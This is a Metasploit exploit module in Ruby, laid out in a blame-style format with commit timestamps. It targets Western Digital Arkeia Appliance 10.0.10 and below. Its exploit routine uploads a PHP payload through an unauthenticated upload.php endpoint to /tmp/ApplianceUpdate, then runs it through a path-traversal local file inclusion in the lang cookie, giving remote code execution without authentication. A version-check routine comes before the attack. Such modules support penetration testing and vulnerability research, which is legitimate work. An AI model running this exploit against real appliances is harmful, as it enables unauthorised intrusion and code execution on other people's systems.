2013-09-16 07:38:50 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-16 07:38:50 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Western Digital Arkeia Remote Code Execution",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability found in Western Digital Arkeia Appliance
|
2013-09-23 18:48:23 +00:00
|
|
|
version 10.0.10 and lower. By abusing the upload.php script,
|
2013-09-19 17:41:13 +00:00
|
|
|
a malicious user can upload arbitrary code to the ApplianceUpdate file in the temp
|
2013-09-23 18:48:23 +00:00
|
|
|
directory without authentication. Abusing the local file inclusion in the lang
|
|
|
|
cookie to parse this file results in arbitrary code execution, also without
|
2013-09-19 17:41:13 +00:00
|
|
|
authentication. The module has been tested successfully on Arkeia 10.0.10. The issues
|
|
|
|
have been fixed in version 10.1.10.
|
2013-09-16 07:38:50 +00:00
|
|
|
},
|
2013-09-18 01:10:58 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
2013-09-16 07:38:50 +00:00
|
|
|
[
|
|
|
|
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
|
|
|
],
|
2013-09-18 01:10:58 +00:00
|
|
|
'References' =>
|
2013-09-16 07:38:50 +00:00
|
|
|
[
|
2013-09-24 13:48:28 +00:00
|
|
|
[ 'OSVDB', '97614' ],
|
|
|
|
[ 'OSVDB', '97615' ],
|
|
|
|
[ 'EDB', '28330' ]
|
2013-09-16 07:38:50 +00:00
|
|
|
],
|
2013-09-18 01:10:58 +00:00
|
|
|
'Platform' => ['php'],
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Western Digital Arkeia Appliance 10.0.10', {}]
|
|
|
|
],
|
2013-09-19 19:51:22 +00:00
|
|
|
'Privileged' => false,
|
2013-09-18 01:10:58 +00:00
|
|
|
'DisclosureDate' => "Sep 16 2013",
|
|
|
|
'DefaultTarget' => 0))
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The base path to the Arkeia Appliance', '/'])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2013-09-19 17:42:38 +00:00
|
|
|
def uri
|
|
|
|
return target_uri.path
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2013-09-19 17:44:11 +00:00
|
|
|
# Check version
|
|
|
|
print_status("#{peer} - Trying to detect installed version")
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
res = send_request_cgi({
|
2013-09-16 07:38:50 +00:00
|
|
|
'method' => 'GET',
|
2013-09-19 17:59:37 +00:00
|
|
|
'uri' => normalize_uri(uri)
|
2013-09-19 17:44:11 +00:00
|
|
|
})
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
if res and res.code == 200 and res.body =~ /v(\d+\.\d+\.\d+)/
|
|
|
|
version = $1
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
print_status("#{peer} - Version #{version} detected")
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
if version > "10.0.10"
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
# Check for vulnerable component
|
|
|
|
print_status("#{peer} - Trying to detect the vulnerable component")
|
2013-09-16 07:38:50 +00:00
|
|
|
|
2013-09-19 17:44:11 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'headers' => { 'Cookie' => "lang=fr" },
|
2013-09-19 17:59:37 +00:00
|
|
|
'uri' => normalize_uri(uri)
|
2013-09-19 17:44:11 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /Les versions brutes des messages est affichee ci-dessous/
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2013-09-18 01:10:58 +00:00
|
|
|
payload_name = rand_text_alpha(rand(10) + 5)
|
|
|
|
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"UPLOAD\"; filename=\"#{payload_name}\"")
|
|
|
|
file = post_data.to_s
|
|
|
|
file.strip!
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
print_status("#{peer} - Sending PHP payload which will be uploaded to hardcoded /tmp/ApplianceUpdate")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(uri, "scripts", "upload.php"),
|
2013-09-18 01:10:58 +00:00
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
|
|
'data' => file
|
2013-09-16 07:38:50 +00:00
|
|
|
})
|
|
|
|
|
2013-09-19 18:03:55 +00:00
|
|
|
# If the server returns 200 we assume we uploaded the malicious
|
|
|
|
# file successfully
|
2013-09-16 07:38:50 +00:00
|
|
|
if not res or res.code != 200
|
2013-09-19 19:51:22 +00:00
|
|
|
fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")
|
2013-09-16 07:38:50 +00:00
|
|
|
end
|
|
|
|
|
2013-09-18 01:24:40 +00:00
|
|
|
register_files_for_cleanup("/tmp/ApplianceUpdate")
|
|
|
|
|
2013-09-16 07:38:50 +00:00
|
|
|
print_status("#{peer} - Sending LFI payload to execute PHP code in /tmp/ApplianceUpdate")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'headers' => { 'Cookie' => "lang=../../../../../../../../../../../../../../../../tmp/ApplianceUpdate%00en" },
|
2013-09-19 17:59:37 +00:00
|
|
|
'uri' => normalize_uri(uri)
|
2013-09-16 07:38:50 +00:00
|
|
|
})
|
|
|
|
|
|
|
|
# If we don't get a 200 when we request our malicious payload, we suspect
|
2013-09-18 01:10:58 +00:00
|
|
|
# we don't have a shell, either.
|
2013-09-16 07:38:50 +00:00
|
|
|
if res and res.code != 200
|
2013-09-19 17:45:29 +00:00
|
|
|
print_error("#{peer} - Unexpected response, probably the exploit failed")
|
2013-09-16 07:38:50 +00:00
|
|
|
end
|
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
end
|
2013-09-16 07:38:50 +00:00
|
|
|
|
|
|
|
end
|